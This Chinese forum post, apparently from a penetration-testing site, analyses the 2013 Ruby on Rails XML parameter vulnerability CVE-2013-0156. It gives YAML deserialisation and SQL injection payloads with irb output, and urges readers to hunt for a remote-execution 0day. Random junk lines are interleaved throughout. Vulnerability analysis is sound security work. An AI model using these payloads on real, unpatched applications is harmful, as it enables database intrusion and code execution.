中国网络渗透测试联盟
标题:
Ruby on Rails XML参数注入漏洞(CVE-2013-0156)分析
[打印本页]
作者:
admin
时间:
2013-1-11 21:16
标题:
Ruby on Rails XML参数注入漏洞(CVE-2013-0156)分析
Author: wofeiwo#80sec.com
; a8 H8 p: H2 f/ R/ ? V
- C) _, b* V0 n- W
注意,本文基本是这篇文章的中文版本,由于我水平有限,因此如果大家看的不是很明白,建议去原文查看。
1 ]& p0 N6 [* K5 A
2 ~" y/ a- a, m) j
近日RoR的漏洞大爆发,就在昨天临晨,RoR的官网发布了新的两个安全漏洞补丁,CVE-2013-0155和CVE-2013-0156.
3 J% d/ X0 Q Y+ A0 e2 J: g( ^
* o8 x7 Y& B' a; C. }! ]
CVE-2013-0155主要是防止Json数据解析的nil导致程序DoS,而CVE-2013-0156则是对RoR的XML解析进行修补.其中Json的那个并没有什么值得关注的部分,但是对于XML解析的修补,却很值得玩味.官网对此补丁的描述是:要求所有RoR的用户,必须立即(immediately)升级此补丁.这是本周内除了CVE-2012-6496之外,第二次要求大家”立即”升级的高危漏洞.甚至,连cnbeta都开始报道此漏洞了.
; ~. [% [. _' X7 ` I
8 o! l$ z8 }) `, F
为什么这个漏洞如此的严重?原因就出在RoR框架的灵活性和便利性上.RoR支持用户使用多种格式提交你的参数,而不仅仅是使用HTTP的那些基本格式.你可以使用Json,可以使用XML的方式去对你提交的参数进行描述,因为Ruby是个强类型语言,因此由于HTTP传过来的纯string的参数并不足够描述参数的属性.当你使用XML格式去递交时,就是另一回事了.例如:
& p" w1 ]3 F# n1 r
0 I/ x6 F9 j+ }3 z! R" k
<?xml version="1.0" encoding="UTF-8"?> <hash> <foo type="integer">1</foo> </hash>如果你POST提交这样的一个数据,RoR就会在其中解析为:
3 A: b% G* |1 G- q3 Z/ A
% r0 ^; w. B' t* h4 J2 N
"hash" => {"foo" => 1}这些type的xml属性也就补充说明了一个参数的类型.RoR可以很便利的将其解析出来.可关键问题就在此,Type的取值还可以为Symbol和Yaml.
& q. \( p2 a4 M* z6 \2 q1 u
$ a* q, J \6 }: e
说起Symbol,还记得之前提到的另一个高危SQL注入漏洞,CVE-2012-6496,其最大的不可利用问题,就在于他需要提交的参数的key必须是Symbol类型么?
* p) l, ?- I; ~! R0 P& P
7 F2 a( V7 X9 h! e+ g1 P5 N3 A/ z1 K
然后我们测试下,就会发现,由于框架中对参数进行 data.with_indifferent_access 的操作(会把key全变成string),我们还是无法通过xml去将Key变成Symbol类型。所以,也无法利用此漏洞去利用CVE-2012-6496。
9 A- ~$ L Z" a
d- h! P0 Z. I" M$ j0 ^! X7 b) j
但是等等,还有另一个参数类型,yaml。
1 @6 w. G5 u ~
# @7 U5 j x f+ t w5 {+ o3 h. g
yaml强大的地方在于,利用yaml语言,你可以让Rails生成各种类型的数据结构,例如,Object。
$ v* Q+ s9 i5 x: |# a
" @! b* r* p ^; X" H6 U
<test type="yaml">--- !ruby/object:A
$ u. C& Y0 F0 z+ |: q8 I8 q9 B
aaa: bbb </test>这基本类似于一个变量反序列化的过程,实际用起来基本就相当于一个任意变量覆盖漏洞。如果后续的代码中,有将此Object的aaa属性带入eval/exec/system等关键语句中,就可以执行一些被污染的代码。
% E0 J. M. E& z" w9 l7 v0 ~
! P' M+ E2 p. J% }+ b0 ?
如果你熟悉rails的代码,或者其他开源rails的webapp,现在就可以找起来了。或许一个远程执行0day就此诞生。
1 {, C0 ]4 i J4 q% ^. B( N
, n) r+ U& O6 r+ S' a T3 I
如果你不熟悉ror,那么也没问题,实际上还有个利用方式,可以直接进行sql注入。
# N, W: z c: W% L& V" O' h
8 ~1 w) U4 @8 v% D, d3 L
一般在RoR中都是使用model.find_by_*的方式进行数据库查询(ActiveRecord模式)
6 D: x6 A8 q7 K1 m8 p; W
$ ?( b+ ]$ _/ p6 X1 n1 T
model.find_by_id(params[:id])类似的代码会很常见。我们可以通过yaml去定义这个id变量,使其成为可以注入的内容:
& ~% L* E! M2 _2 w3 ~
% a' g r6 {3 o- R' E8 a
<id type=yaml>--- !str:Arel::Nodes::SqlLiteral
$ W3 F) S; R- f- a6 B
1 and 1=2 </id>利用如上代码,通过SqlLiteral对象,即可进行sql注入。
% j8 r" D: ~' j
8 \9 }% L B& X2 d( v
irb(main):017:0> a = Arel::Nodes::SqlLiteral.new("1") => "1" irb(main):018:0> Post.find_by_id(a) Post Load (0.0ms)SELECT "posts".* FROM "posts" WHERE "posts"."id" = 1 LIMIT 1 => #<Post id: 1, name: "aaa", title: nil, content: "A new post", created_at: "2013-01-10 05:01:01", updated_at: "2013-01-10 05:01:01"> irb(main):019:0> a = Arel::Nodes::SqlLiteral.new("1 and 1=1") => "1 and 1=1" irb(main):020:0> Post.find_by_id(a) Post Load (0.0ms)SELECT "posts".* FROM "posts" WHERE "posts"."id" = 1 and 1=1 LIMIT 1 => #<Post id: 1, name: "aaa", title: nil, content: "A new post", created_at: "2013-01-10 05:01:01", updated_at: "2013-01-10 05:01:01"> irb(main):021:0> a = Arel::Nodes::SqlLiteral.new("1 and 1=2") => "1 and 1=2" irb(main):022:0> Post.find_by_id(a) Post Load (0.0ms)[0m SELECT "posts".* FROM "posts" WHERE "posts"."id" = 1 and 1=2 LIMIT 1 => nil本文非常感谢@tcpper 的帮助,没有他的解释和测试,我是无法理解RoR及本漏洞的。
! d2 Q, U! R% Q0 i/ y' @) B
" y9 j5 Z1 I: l! ]7 Z9 O
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2